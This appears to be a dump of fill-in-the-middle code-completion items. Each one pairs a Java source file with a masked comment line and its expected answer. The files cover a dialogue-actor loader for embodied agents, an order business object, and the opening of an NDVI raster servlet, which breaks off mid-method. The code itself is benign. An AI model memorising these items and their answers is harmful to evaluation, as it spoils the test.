LoadedDialogueActorsJSON res = new LoadedDialogueActorsJSON(this.dialogueActors.toArray(new DialogueActor[0]));
return om.convertValue(res, JsonNode.class);
}
@Override
public void onDialogueStatusChange(String topic, DialogueStatus status) {
logger.info("Dialogue {} has reached status {}", topic, status.toString());
this.enqueueMessage(om.createObjectNode().put("status", status.toString()), "topic_status");
}
public List<DialogueActor> getDialogueActors() {
return dialogueActors;
}
public DialogueActor getDialogueActorByIdentifier(String id) {
for (DialogueActor da : dialogueActors) {
if (id.equals(da.identifier)) {
return da;
}
}
return null;
}
}
// (De-)serialization helper classes:
class DialogueInitJSON {
public JsonNode topicParams;
public JsonNode dialogueActors;
public JsonNode utteranceParams;
}
class LoadedDialogueActorsJSON {
public String response = "loadedActors";
public ActorJSON[] actors;
public LoadedDialogueActorsJSON(DialogueActor[] actors) {
List<ActorJSON> res = new ArrayList<ActorJSON>();
for (DialogueActor da : actors) {
res.add(new ActorJSON(da));
}
this.actors = res.toArray(new ActorJSON[0]);
}
public LoadedDialogueActorsJSON(ActorJSON[] actors) {
this.actors = actors;
}
}
| AgentsUnited/intent-planner | src/eu/couch/hmi/environments/DialogueLoaderEnvironment.java | 3,095 | //todo dennis: je kan ook hier dynamische in de fmlenv de nieuwe middleware laten maken voor deze nieuwe actor. moet je de fml env hier hebben, maar dan hoeft in environmentsxml niet meer laura en camille te staan | line_comment | nl |
package eu.couch.hmi.environments;
import java.util.ArrayList;
import java.util.List;
import org.slf4j.LoggerFactory;
import com.fasterxml.jackson.databind.DeserializationFeature;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import eu.couch.hmi.actor.Actor;
import eu.couch.hmi.actor.ActorJSON;
import eu.couch.hmi.actor.DialogueActor;
import eu.couch.hmi.actor.GenericDialogueActor;
import eu.couch.hmi.actor.UIControllableActor;
import eu.couch.hmi.dialogue.IDialogueStatusListener;
import eu.couch.hmi.environments.DGEPEnvironment.DialogueStatus;
import eu.couch.hmi.floormanagement.FCFSFloorManager;
import eu.couch.hmi.floormanagement.IFloorManager;
import eu.couch.hmi.intent.planner.AsapIntentRealizer;
import eu.couch.hmi.intent.planner.DefaultIntentPlanner;
import eu.couch.hmi.intent.planner.GretaIntentRealizer;
import eu.couch.hmi.intent.planner.IIntentPlanner;
import eu.couch.hmi.intent.planner.NoEmbodimentIntentPlanner;
import eu.couch.hmi.intent.realizer.IIntentRealizer;
import eu.couch.hmi.moves.IMoveDistributor;
import eu.couch.hmi.moves.selector.DefaultMoveSelector;
import eu.couch.hmi.moves.selector.IMoveSelector;
import hmi.flipper.ExperimentFileLogger;
import hmi.flipper.environment.BaseFlipperEnvironment;
import hmi.flipper.environment.FlipperEnvironmentMessageJSON;
import hmi.flipper.environment.IFlipperEnvironment;
/*
* This Environment is responsible for initializing the dialogue and participating actors / agents.
* The overall flow of this Environment:
* 1. Environment Initialization: store the DGEP and other Environments
* 2. "init_dialogue" command (called from Flipper/through message bus) - See this.loadDialogue()
* a.) Start dialogue in DGEP with params.protocolParams (
* b.) Initialize actors in params.dialogueActors.
* c.) Wait for all actors be be joined.
* 3. For each joined Actor in DGEP, initialize a "DialogueActor" - See this.loadDialogueActors()
* 4. Return a representation of all DialogueActors to Flipper (response to "init_dialogue" command).
* (5. Request the moveset from DGEP to kickstart the dialogue)
*/
public class DialogueLoaderEnvironment extends BaseFlipperEnvironment implements IDialogueStatusListener {
private static org.slf4j.Logger logger = LoggerFactory.getLogger(DialogueLoaderEnvironment.class.getName());
IFlipperEnvironment[] allEnvs;
DGEPEnvironment dgepEnv;
ObjectMapper om;
List<DialogueActor> dialogueActors;
private IFloorManager fm;
public DialogueLoaderEnvironment() {
super();
dialogueActors = new ArrayList<DialogueActor>();
om = new ObjectMapper();
om.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
}
@Override
public void setRequiredEnvironments(IFlipperEnvironment[] envs) throws Exception {
this.allEnvs = envs;
this.dgepEnv = null;
for (IFlipperEnvironment env : envs) {
if (env instanceof DGEPEnvironment) this.dgepEnv = (DGEPEnvironment) env;
}
if (this.dgepEnv == null) throw new Exception("Required loader of type DGEPEnvironment not found.");
}
@Override
public void init(JsonNode params) throws Exception {
dgepEnv.registerDialogueStatusListener(this);
}
@Override
public FlipperEnvironmentMessageJSON onMessage(FlipperEnvironmentMessageJSON fenvmsg) throws Exception {
switch (fenvmsg.cmd) {
case "init_dialogue":
ExperimentFileLogger.getInstance().log("init_dialogue", fenvmsg.params);
DialogueInitJSON dij = om.treeToValue(fenvmsg.params, DialogueInitJSON.class);
return buildResponse(fenvmsg, loadDialogue(dij.topicParams, dij.dialogueActors, dij.utteranceParams));
default:
logger.warn("Unhandled message: "+fenvmsg.cmd);
break;
}
return null;
}
public JsonNode loadDialogue(JsonNode topic, JsonNode actors, JsonNode utteranceParams) {
Actor[] dgepActors = null;
dgepActors = dgepEnv.initSession(topic, actors, utteranceParams);
JsonNode res = loadDialogueActors(dgepActors);
if (res == null) {
logger.error("Failed to initialize (all) dialogue actors (initializing DGEP was successful)");
} else {
// TODO: maybe leave this to Flipper?
dgepEnv.requestMoves();
}
return res;
}
/* Initialize a DialogueActor for each actor that partakes in the DGEP dialogue.
* TODO: This method (and the specification of DialogueActors) need to be re-implemented to support more flexible
* initialization of actiors, allowing to specify
*/
public JsonNode loadDialogueActors(Actor[] actors) {
for(DialogueActor da : dialogueActors) {
da.disableActor();
}
this.dialogueActors.clear();
UIEnvironment uie = null;
DGEPEnvironment dgepm = null;
FloorManagementEnvironment fme = null;
GretaIntentRealizer gir = null;
AsapIntentRealizer air = null;
FlipperIntentPlannerEnvironment fpe = null;
IMoveDistributor moveDistributor = null;
//todo dennis:<SUF>
for (IFlipperEnvironment e : allEnvs) {
if (e instanceof UIEnvironment) uie = (UIEnvironment) e;
if (e instanceof FloorManagementEnvironment) fme = (FloorManagementEnvironment) e;
if (e instanceof GretaIntentRealizer) gir = (GretaIntentRealizer) e;
if (e instanceof AsapIntentRealizer) air = (AsapIntentRealizer) e;
if (e instanceof FlipperIntentPlannerEnvironment) fpe = (FlipperIntentPlannerEnvironment) e;
// We can insert a "proxy" move distributor in the environments
// agents will then listen to the proxy if one is supplied...
if (e instanceof DGEPEnvironment) {
dgepm = (DGEPEnvironment) e;
if (moveDistributor == null) {
moveDistributor = dgepm;
}
} else if (e instanceof IMoveDistributor) {
moveDistributor = (IMoveDistributor) e;
}
}
//if there is a floormanagementenvironment we should use the defined floormanager, but otherwise we just use a very simple one instead
if(fme != null) {
fm = fme.getFloorManager();
} else {
fm = new FCFSFloorManager();
}
for (Actor a : actors) {
logger.info("Setting up DialogueActor "+a.identifier+" (Player: "+a.player+"):");
IMoveSelector ms = new DefaultMoveSelector(true);
logger.info(" => Using DefaultMoveSelector");
IIntentPlanner mp = null;
int countGretas;
if (a.bml_name == null || a.bml_name.length() == 0) {
mp = new NoEmbodimentIntentPlanner();
logger.info(" => Using NoEmbodimentMovePlanner");
} else if (air != null && a.engine.equalsIgnoreCase("ASAP")) {
mp = new DefaultIntentPlanner(air, a.bml_name);
logger.info(" => Using BMLMovePlanner (bml char id: "+a.bml_name+")");
} else if (fpe != null && a.engine.equalsIgnoreCase("ASAP")) {
mp = new DefaultIntentPlanner(fpe, a.bml_name);
logger.info(" => Using FlipperMovePlanner (bml char id: "+a.bml_name+")");
} else if (gir != null && a.engine.equalsIgnoreCase("greta")) {
//if (countg){
//TODO: for multiple greta agents. nesting for charID, i/o Topic suffics met charID (in fml environment)
mp = new DefaultIntentPlanner(gir, a.bml_name);
logger.info(" => Using FMLMovePlanner (bml char id: "+a.bml_name+")");
//}
} else {
logger.error(" => Failed to find suitable MovePlanner");
}
if (a.dialogueActorClass.contentEquals("UIControllableActor")) {
logger.info(" => As UIControllableActor");
this.dialogueActors.add(new UIControllableActor(a, fm, moveDistributor, ms, mp, dgepm, uie));
} else {
logger.info(" => As GenericDialogueActor");
this.dialogueActors.add(new GenericDialogueActor(a, fm, moveDistributor, ms, mp, dgepm));
}
}
LoadedDialogueActorsJSON res = new LoadedDialogueActorsJSON(this.dialogueActors.toArray(new DialogueActor[0]));
return om.convertValue(res, JsonNode.class);
}
@Override
public void onDialogueStatusChange(String topic, DialogueStatus status) {
logger.info("Dialogue {} has reached status {}", topic, status.toString());
this.enqueueMessage(om.createObjectNode().put("status", status.toString()), "topic_status");
}
public List<DialogueActor> getDialogueActors() {
return dialogueActors;
}
public DialogueActor getDialogueActorByIdentifier(String id) {
for (DialogueActor da : dialogueActors) {
if (id.equals(da.identifier)) {
return da;
}
}
return null;
}
}
// (De-)serialization helper classes:
class DialogueInitJSON {
public JsonNode topicParams;
public JsonNode dialogueActors;
public JsonNode utteranceParams;
}
class LoadedDialogueActorsJSON {
public String response = "loadedActors";
public ActorJSON[] actors;
public LoadedDialogueActorsJSON(DialogueActor[] actors) {
List<ActorJSON> res = new ArrayList<ActorJSON>();
for (DialogueActor da : actors) {
res.add(new ActorJSON(da));
}
this.actors = res.toArray(new ActorJSON[0]);
}
public LoadedDialogueActorsJSON(ActorJSON[] actors) {
this.actors = actors;
}
}
|
112768_4 | /* BOOrderCustomer.java
***********************************************************************************
* 20.03.2007 ** tdi
* - created
*
***********************************************************************************
* Copyright 2007-2010 HTWG Konstanz
*
* Prof. Dr.-Ing. Juergen Waesch
* Dipl. -Inf. (FH) Thomas Dietrich
* Fakultaet Informatik - Department of Computer Science
* E-Business Technologien
*
* Hochschule Konstanz Technik, Wirtschaft und Gestaltung
* University of Applied Sciences
* Brauneggerstrasse 55
* D-78462 Konstanz
*
* E-Mail: juergen.waesch(at)htwg-konstanz.de
************************************************************************************/
package de.htwg_konstanz.ebus.framework.wholesaler.api.bo;
import java.math.BigDecimal;
import java.util.Date;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.AddressBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.CountryBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.CustomerBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.OrderBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.OrderItemBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.vo.OrderCustomer;
/**
* The business object {@link BOOrderCustomer} represents an order entity of a customer with it's common attributes
* like orderNumber, orderDate, invoiceAddress or price.<p>
*
* The following example code shows how to create and persist a new order with one order item.
* <pre id="example">
* // load a existing country to build the delivery address
* {@link BOCountry} country = {@link CountryBOA}.getInstance().findCountry(TEST_USER_CUSTOMER_COUNTRY_ISOCODE);
* if(country == null)
* {
* // do something...
* // e.g. leave the procedure or throw an exception...
* }
*
* // create a delivery address which must be unique for each user (addresses could not be shared)
* {@link BOAddress} delivAddress = new BOAddress();
* delivAddress.setStreet(TEST_USER_CUSTOMER_STREET);
* delivAddress.setZipcode(TEST_USER_CUSTOMER_ZIPCODE);
* delivAddress.setCity(TEST_USER_CUSTOMER_CITY);
* delivAddress.setCountry(country);
* {@link AddressBOA}.getInstance().saveOrUpdate(delivAddress);
*
* // load an existing customer
* {@link BOCustomer} customer = {@link CustomerBOA}.getInstance().getCustomerById(TEST_CUSTOMER_ID);
* if(customer == null)
* {
* // do something...
* // e.g. leave the procedure or throw an exception...
* }
*
* {@link BOOrderCustomer} orderCustomer = new BOOrderCustomer();
* orderCustomer.setDeliveryAddress(delivAddress);
* orderCustomer.setCustomer(customer);
* orderCustomer.setOrderNumberCustomer(TEST_ORDER_CUSTOMER_ORDER_NUMBER_CUSTOMER);
* orderCustomer.setOrderDate(TEST_ORDER_CUSTOMER_ORDER_DATE);
* orderCustomer.setOrderNumber(TEST_ORDER_CUSTOMER_ORDER_NUMBER);
* orderCustomer.setPriceTotalNet(TEST_ORDER_CUSTOMER_ITEM_NET_PRICE);
* orderCustomer.setPriceTotalGross(TEST_ORDER_CUSTOMER_ITEM_GROSS_PRICE);
* orderCustomer.setTaxAmount(TEST_ORDER_CUSTOMER_ITEM_TAX_AMOUNT);
* orderCustomer.setTotalLineItems(new Integer(0));
* {@link OrderBOA}.getInstance().saveOrUpdate(orderCustomer);
*
* {@link BOOrderItemCustomer} orderItem = new BOOrderItemCustomer();
* orderItem.setOrderNumberCustomer(TEST_ORDER_CUSTOMER_ITEM_ORDER_NUMBER);
* orderItem.setItemNetPrice(TEST_ORDER_CUSTOMER_ITEM_NET_PRICE);
* orderItem.setOrderAmount(TEST_ORDER_CUSTOMER_ITEM_AMOUNT);
* orderItem.setOrderUnit(TEST_ORDER_CUSTOMER_ITEM_UNIT);
* orderItem.setTaxRate(TEST_ORDER_CUSTOMER_ITEM_TAX_RATE);
* orderItem.setProductDescription(TEST_ORDER_CUSTOMER_ITEM_DESCR);
* orderItem.setOrderItemNumber(TEST_ORDER_CUSTOMER_ITEM_AMOUNT);
* orderItem.setOrderCustomer(orderCustomer);
* {@link OrderItemBOA}.getInstance().saveOrUpdateOrderItemCustomer(orderItem);
*
* // the line item count has changed -> update the order customer
* orderCustomer.setTotalLineItems(new Integer(1));
* {@link OrderBOA}.getInstance().saveOrUpdate(orderCustomer);
* </pre>
*
* @author tdi
*/
public class BOOrderCustomer implements IBOOrder
{
public OrderCustomer orderCustomer = null;
public BOOrderCustomer()
{
orderCustomer = new OrderCustomer();
}
public BOOrderCustomer(OrderCustomer orderCustomer)
{
this.orderCustomer = orderCustomer;
}
public String getOrderNumber()
{
return orderCustomer.getOrderid();
}
public void setOrderNumber(String orderNumber)
{
orderCustomer.setOrderid(orderNumber);
}
public Date getOrderDate()
{
return orderCustomer.getOrderdate();
}
public void setOrderDate(Date orderDate)
{
orderCustomer.setOrderdate(orderDate);
}
public BOAddress getDeliveryAddress()
{
return new BOAddress(orderCustomer.getDeliveryaddress());
}
public void setDeliveryAddress(BOAddress delivAddress)
{
orderCustomer.setDeliveryaddress(delivAddress.address);
}
public BOAddress getInvoiceAddress()
{
return new BOAddress(orderCustomer.getInvoiceaddress());
}
public void setInvoiceAddress(BOAddress invoiceAddress)
{
orderCustomer.setInvoiceaddress(invoiceAddress.address);
}
// public List<BOOrderItemCustomer> getOrderItems()
// {
// List<BOOrderItemCustomer> orderItems = new ArrayList<BOOrderItemCustomer>();
// Set<OrderitemCustomer> tempOrderItems = orderCustomer.getOrderItems();
// if (tempOrderItems != null)
// {
// for (OrderitemCustomer item : tempOrderItems)
// {
// orderItems.add(new BOOrderItemCustomer(item));
// }
// }
//
// return orderItems;
// }
//
// public void setOrderItems(List<BOOrderItemCustomer> orderItems)
// {
// orderCustomer.getOrderItems().clear();
//
// for (BOOrderItemCustomer item : orderItems)
// {
// orderCustomer.getOrderItems().add(item.orderItemCustomer);
// }
// }
public BigDecimal getPriceTotalNet()
{
return orderCustomer.getPricetotalNet();
}
public void setPriceTotalNet(BigDecimal priceTotalNet)
{
orderCustomer.setPricetotalNet(priceTotalNet);
}
public BigDecimal getPriceTotalGross()
{
return orderCustomer.getPricetotalGross();
}
public void setPriceTotalGross(BigDecimal priceTotalGross)
{
orderCustomer.setPricetotalGross(priceTotalGross);
}
public BigDecimal getTaxAmount()
{
return orderCustomer.getTaxamount();
}
public void setTaxAmount(BigDecimal taxAmount)
{
orderCustomer.setTaxamount(taxAmount);
}
public BigDecimal getTaxTotal()
{
return orderCustomer.getTaxtotal();
}
public void setTaxTotal(BigDecimal taxTotal)
{
orderCustomer.setTaxtotal(taxTotal);
}
public void setCurrency(BOCurrency boCurrency)
{
orderCustomer.setCurrency(boCurrency.currency);
}
public BOCurrency getCurrency()
{
return new BOCurrency(orderCustomer.getCurrency());
}
public String getCurrencyCode()
{
return getCurrency().getCode();
}
public BOCustomer getCustomer()
{
return new BOCustomer(orderCustomer.getCustomer());
}
public void setCustomer(BOCustomer customer)
{
orderCustomer.setCustomer(customer.customer);
}
public Integer getTotalLineItems()
{
return orderCustomer.getTotallineitems();
}
public void setTotalLineItems(Integer totalLineItems)
{
orderCustomer.setTotallineitems(totalLineItems);
}
public String getOrderNumberCustomer()
{
return orderCustomer.getOrderidCustomer();
}
public void setOrderNumberCustomer(String orderNumberCustomer)
{
orderCustomer.setOrderidCustomer(orderNumberCustomer);
}
public byte[] getXmlFileRequest()
{
return orderCustomer.getXmlFileRequest();
}
public void setXmlFileRequest(byte[] xmlFile)
{
orderCustomer.setXmlFileRequest(xmlFile);
}
public byte[] getXmlFileResponse()
{
return orderCustomer.getXmlFileResponse();
}
public void setXmlFileResponse(byte[] xmlFile)
{
orderCustomer.setXmlFileResponse(xmlFile);
}
public void setOrdertype(String ordertype)
{
orderCustomer.setOrdertype(ordertype);
}
public String getOrdertype()
{
return orderCustomer.getOrdertype();
}
public String getRemark()
{
return orderCustomer.getRemark();
}
public void setRemark(String remark)
{
orderCustomer.setRemark(remark);
}
public String getTransport()
{
return orderCustomer.getTransport();
}
public void setTransport(String transport)
{
orderCustomer.setTransport(transport);
}
public String getSpecialtreatment()
{
return orderCustomer.getSpecialtreatment();
}
public void setSpecialtreatment(String specialtreatment)
{
orderCustomer.setSpecialtreatment(specialtreatment);
}
public Integer getPartialshipment()
{
return orderCustomer.getPartialshipment();
}
public void setPartialshipment(Integer partialshipment)
{
orderCustomer.setPartialshipment(partialshipment);
}
public String getInternationalrestrictions()
{
return orderCustomer.getInternationalrestrictions();
}
public void setInternationalrestrictions(String internationalrestrictions)
{
orderCustomer.setInternationalrestrictions(internationalrestrictions);
}
public Boolean getRejected()
{
return orderCustomer.isRejected();
}
public void setRejected(Boolean rejected)
{
orderCustomer.setRejected(rejected);
}
public Boolean getSplitted()
{
return orderCustomer.isSplitted();
}
public void setSplitted(Boolean splitted)
{
orderCustomer.setSplitted(splitted);
}
}
| Agraphie/htwg.ebut.srck | eBus-Framework/src/de/htwg_konstanz/ebus/framework/wholesaler/api/bo/BOOrderCustomer.java | 3,310 | // Set<OrderitemCustomer> tempOrderItems = orderCustomer.getOrderItems();
| line_comment | nl | /* BOOrderCustomer.java
***********************************************************************************
* 20.03.2007 ** tdi
* - created
*
***********************************************************************************
* Copyright 2007-2010 HTWG Konstanz
*
* Prof. Dr.-Ing. Juergen Waesch
* Dipl. -Inf. (FH) Thomas Dietrich
* Fakultaet Informatik - Department of Computer Science
* E-Business Technologien
*
* Hochschule Konstanz Technik, Wirtschaft und Gestaltung
* University of Applied Sciences
* Brauneggerstrasse 55
* D-78462 Konstanz
*
* E-Mail: juergen.waesch(at)htwg-konstanz.de
************************************************************************************/
package de.htwg_konstanz.ebus.framework.wholesaler.api.bo;
import java.math.BigDecimal;
import java.util.Date;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.AddressBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.CountryBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.CustomerBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.OrderBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.api.boa.OrderItemBOA;
import de.htwg_konstanz.ebus.framework.wholesaler.vo.OrderCustomer;
/**
* The business object {@link BOOrderCustomer} represents an order entity of a customer with it's common attributes
* like orderNumber, orderDate, invoiceAddress or price.<p>
*
* The following example code shows how to create and persist a new order with one order item.
* <pre id="example">
* // load a existing country to build the delivery address
* {@link BOCountry} country = {@link CountryBOA}.getInstance().findCountry(TEST_USER_CUSTOMER_COUNTRY_ISOCODE);
* if(country == null)
* {
* // do something...
* // e.g. leave the procedure or throw an exception...
* }
*
* // create a delivery address which must be unique for each user (addresses could not be shared)
* {@link BOAddress} delivAddress = new BOAddress();
* delivAddress.setStreet(TEST_USER_CUSTOMER_STREET);
* delivAddress.setZipcode(TEST_USER_CUSTOMER_ZIPCODE);
* delivAddress.setCity(TEST_USER_CUSTOMER_CITY);
* delivAddress.setCountry(country);
* {@link AddressBOA}.getInstance().saveOrUpdate(delivAddress);
*
* // load an existing customer
* {@link BOCustomer} customer = {@link CustomerBOA}.getInstance().getCustomerById(TEST_CUSTOMER_ID);
* if(customer == null)
* {
* // do something...
* // e.g. leave the procedure or throw an exception...
* }
*
* {@link BOOrderCustomer} orderCustomer = new BOOrderCustomer();
* orderCustomer.setDeliveryAddress(delivAddress);
* orderCustomer.setCustomer(customer);
* orderCustomer.setOrderNumberCustomer(TEST_ORDER_CUSTOMER_ORDER_NUMBER_CUSTOMER);
* orderCustomer.setOrderDate(TEST_ORDER_CUSTOMER_ORDER_DATE);
* orderCustomer.setOrderNumber(TEST_ORDER_CUSTOMER_ORDER_NUMBER);
* orderCustomer.setPriceTotalNet(TEST_ORDER_CUSTOMER_ITEM_NET_PRICE);
* orderCustomer.setPriceTotalGross(TEST_ORDER_CUSTOMER_ITEM_GROSS_PRICE);
* orderCustomer.setTaxAmount(TEST_ORDER_CUSTOMER_ITEM_TAX_AMOUNT);
* orderCustomer.setTotalLineItems(new Integer(0));
* {@link OrderBOA}.getInstance().saveOrUpdate(orderCustomer);
*
* {@link BOOrderItemCustomer} orderItem = new BOOrderItemCustomer();
* orderItem.setOrderNumberCustomer(TEST_ORDER_CUSTOMER_ITEM_ORDER_NUMBER);
* orderItem.setItemNetPrice(TEST_ORDER_CUSTOMER_ITEM_NET_PRICE);
* orderItem.setOrderAmount(TEST_ORDER_CUSTOMER_ITEM_AMOUNT);
* orderItem.setOrderUnit(TEST_ORDER_CUSTOMER_ITEM_UNIT);
* orderItem.setTaxRate(TEST_ORDER_CUSTOMER_ITEM_TAX_RATE);
* orderItem.setProductDescription(TEST_ORDER_CUSTOMER_ITEM_DESCR);
* orderItem.setOrderItemNumber(TEST_ORDER_CUSTOMER_ITEM_AMOUNT);
* orderItem.setOrderCustomer(orderCustomer);
* {@link OrderItemBOA}.getInstance().saveOrUpdateOrderItemCustomer(orderItem);
*
* // the line item count has changed -> update the order customer
* orderCustomer.setTotalLineItems(new Integer(1));
* {@link OrderBOA}.getInstance().saveOrUpdate(orderCustomer);
* </pre>
*
* @author tdi
*/
public class BOOrderCustomer implements IBOOrder
{
public OrderCustomer orderCustomer = null;
public BOOrderCustomer()
{
orderCustomer = new OrderCustomer();
}
public BOOrderCustomer(OrderCustomer orderCustomer)
{
this.orderCustomer = orderCustomer;
}
public String getOrderNumber()
{
return orderCustomer.getOrderid();
}
public void setOrderNumber(String orderNumber)
{
orderCustomer.setOrderid(orderNumber);
}
public Date getOrderDate()
{
return orderCustomer.getOrderdate();
}
public void setOrderDate(Date orderDate)
{
orderCustomer.setOrderdate(orderDate);
}
public BOAddress getDeliveryAddress()
{
return new BOAddress(orderCustomer.getDeliveryaddress());
}
public void setDeliveryAddress(BOAddress delivAddress)
{
orderCustomer.setDeliveryaddress(delivAddress.address);
}
public BOAddress getInvoiceAddress()
{
return new BOAddress(orderCustomer.getInvoiceaddress());
}
public void setInvoiceAddress(BOAddress invoiceAddress)
{
orderCustomer.setInvoiceaddress(invoiceAddress.address);
}
// public List<BOOrderItemCustomer> getOrderItems()
// {
// List<BOOrderItemCustomer> orderItems = new ArrayList<BOOrderItemCustomer>();
// Set<OrderitemCustomer> tempOrderItems<SUF>
// if (tempOrderItems != null)
// {
// for (OrderitemCustomer item : tempOrderItems)
// {
// orderItems.add(new BOOrderItemCustomer(item));
// }
// }
//
// return orderItems;
// }
//
// public void setOrderItems(List<BOOrderItemCustomer> orderItems)
// {
// orderCustomer.getOrderItems().clear();
//
// for (BOOrderItemCustomer item : orderItems)
// {
// orderCustomer.getOrderItems().add(item.orderItemCustomer);
// }
// }
public BigDecimal getPriceTotalNet()
{
return orderCustomer.getPricetotalNet();
}
public void setPriceTotalNet(BigDecimal priceTotalNet)
{
orderCustomer.setPricetotalNet(priceTotalNet);
}
public BigDecimal getPriceTotalGross()
{
return orderCustomer.getPricetotalGross();
}
public void setPriceTotalGross(BigDecimal priceTotalGross)
{
orderCustomer.setPricetotalGross(priceTotalGross);
}
public BigDecimal getTaxAmount()
{
return orderCustomer.getTaxamount();
}
public void setTaxAmount(BigDecimal taxAmount)
{
orderCustomer.setTaxamount(taxAmount);
}
public BigDecimal getTaxTotal()
{
return orderCustomer.getTaxtotal();
}
public void setTaxTotal(BigDecimal taxTotal)
{
orderCustomer.setTaxtotal(taxTotal);
}
public void setCurrency(BOCurrency boCurrency)
{
orderCustomer.setCurrency(boCurrency.currency);
}
public BOCurrency getCurrency()
{
return new BOCurrency(orderCustomer.getCurrency());
}
public String getCurrencyCode()
{
return getCurrency().getCode();
}
public BOCustomer getCustomer()
{
return new BOCustomer(orderCustomer.getCustomer());
}
public void setCustomer(BOCustomer customer)
{
orderCustomer.setCustomer(customer.customer);
}
public Integer getTotalLineItems()
{
return orderCustomer.getTotallineitems();
}
public void setTotalLineItems(Integer totalLineItems)
{
orderCustomer.setTotallineitems(totalLineItems);
}
public String getOrderNumberCustomer()
{
return orderCustomer.getOrderidCustomer();
}
public void setOrderNumberCustomer(String orderNumberCustomer)
{
orderCustomer.setOrderidCustomer(orderNumberCustomer);
}
public byte[] getXmlFileRequest()
{
return orderCustomer.getXmlFileRequest();
}
public void setXmlFileRequest(byte[] xmlFile)
{
orderCustomer.setXmlFileRequest(xmlFile);
}
public byte[] getXmlFileResponse()
{
return orderCustomer.getXmlFileResponse();
}
public void setXmlFileResponse(byte[] xmlFile)
{
orderCustomer.setXmlFileResponse(xmlFile);
}
public void setOrdertype(String ordertype)
{
orderCustomer.setOrdertype(ordertype);
}
public String getOrdertype()
{
return orderCustomer.getOrdertype();
}
public String getRemark()
{
return orderCustomer.getRemark();
}
public void setRemark(String remark)
{
orderCustomer.setRemark(remark);
}
public String getTransport()
{
return orderCustomer.getTransport();
}
public void setTransport(String transport)
{
orderCustomer.setTransport(transport);
}
public String getSpecialtreatment()
{
return orderCustomer.getSpecialtreatment();
}
public void setSpecialtreatment(String specialtreatment)
{
orderCustomer.setSpecialtreatment(specialtreatment);
}
public Integer getPartialshipment()
{
return orderCustomer.getPartialshipment();
}
public void setPartialshipment(Integer partialshipment)
{
orderCustomer.setPartialshipment(partialshipment);
}
public String getInternationalrestrictions()
{
return orderCustomer.getInternationalrestrictions();
}
public void setInternationalrestrictions(String internationalrestrictions)
{
orderCustomer.setInternationalrestrictions(internationalrestrictions);
}
public Boolean getRejected()
{
return orderCustomer.isRejected();
}
public void setRejected(Boolean rejected)
{
orderCustomer.setRejected(rejected);
}
public Boolean getSplitted()
{
return orderCustomer.isSplitted();
}
public void setSplitted(Boolean splitted)
{
orderCustomer.setSplitted(splitted);
}
}
|
123106_20 | /*
* Copyright 2018 Wageningen Environmental Research
*
* For licensing information read the included LICENSE.txt file.
*
* Unless required by applicable law or agreed to in writing, this software
* is distributed on an "AS IS" basis, WITHOUT WARRANTIES OR CONDITIONS OF
* ANY KIND, either express or implied.
*/
package nl.wur.agrodatacube.servlet;
//import io.swagger.annotations.Api;
import java.awt.Transparency;
import java.awt.color.ColorSpace;
import java.awt.image.BufferedImage;
import java.awt.image.ColorModel;
import java.awt.image.ComponentColorModel;
import java.awt.image.DataBuffer;
import java.awt.image.PixelInterleavedSampleModel;
import java.awt.image.Raster;
import java.awt.image.SampleModel;
import java.awt.image.WritableRaster;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.ArrayList;
import java.util.Properties;
import javax.ws.rs.GET;
import javax.ws.rs.HeaderParam;
import javax.ws.rs.POST;
import javax.ws.rs.Path;
import javax.ws.rs.Produces;
import javax.ws.rs.core.Context;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.Response;
import javax.ws.rs.core.UriInfo;
import org.geotools.coverage.grid.GridCoverage2D;
import org.geotools.coverage.grid.GridCoverageFactory;
import org.geotools.coverage.processing.Operations;
import org.geotools.factory.Hints;
import org.geotools.gce.geotiff.GeoTiffReader;
import org.geotools.gce.geotiff.GeoTiffWriter;
import org.geotools.geometry.jts.ReferencedEnvelope;
import org.opengis.parameter.GeneralParameterValue;
import com.google.gson.JsonObject;
import nl.wur.agrodatacube.datasource.GeometryProvider;
import nl.wur.agrodatacube.datasource.NDVIAvailabilityChecker;
import nl.wur.agrodatacube.exception.InvalidParameterException;
import nl.wur.agrodatacube.formatter.AdapterFormatFactory;
import nl.wur.agrodatacube.formatter.JSONizer;
import nl.wur.agrodatacube.mimetypes.Mimetypes;
import nl.wur.agrodatacube.raster.NDVIRecalculator;
import nl.wur.agrodatacube.raster.ReProjector;
import nl.wur.agrodatacube.result.AdapterResult;
import nl.wur.agrodatacube.result.AdapterTableResult;
/**
*
* @author rande001
*/
/**
* Retrieve data from the AHN (Dutch Raster Height Map). sources (PDOK) AHN1
* WCS:
* https://geodata.nationaalgeoregister.nl/ahn1/wcs?request=GetCapabilities&service=wcs
* AHN2 WCS:
* https://geodata.nationaalgeoregister.nl/ahn2/wcs?request=GetCapabilities&service=wcs
* AHN3 WCS:
* https://geodata.nationaalgeoregister.nl/ahn3/wcs?request=GetCapabilities&service=wcs
*
* @author Rande001
*/
@Path("/ndvi_image")
//@Api(value = "Provide information about height for the fields. Height is from the AHN 25m rasterdataset containg average height in a gridcell in cm compared to NAP")
@Produces({ "application/json" })
public class NDVIImageServlet extends Worker {
public NDVIImageServlet() {
super();
setResource("ndvi_image");
}
/**
* @param inputData the raster as it is received from the WCS. That means
* byte values (0..250) these need to be converted to floating poitn values
* between 0 and 1.
*
* @throws Exception
*/
@Deprecated
private byte[] convertNDVIRaster(byte[] inputData, String output_epsg) throws Exception {
final org.opengis.referencing.crs.CoordinateReferenceSystem sourceCRS =
org.geotools.referencing.CRS.decode("EPSG:28992",
true);
final Hints hint = new Hints();
hint.put(Hints.DEFAULT_COORDINATE_REFERENCE_SYSTEM, sourceCRS);
GeoTiffReader reader = new GeoTiffReader(new ByteArrayInputStream(inputData), hint);
GridCoverage2D inputCoverage = reader.read(null);
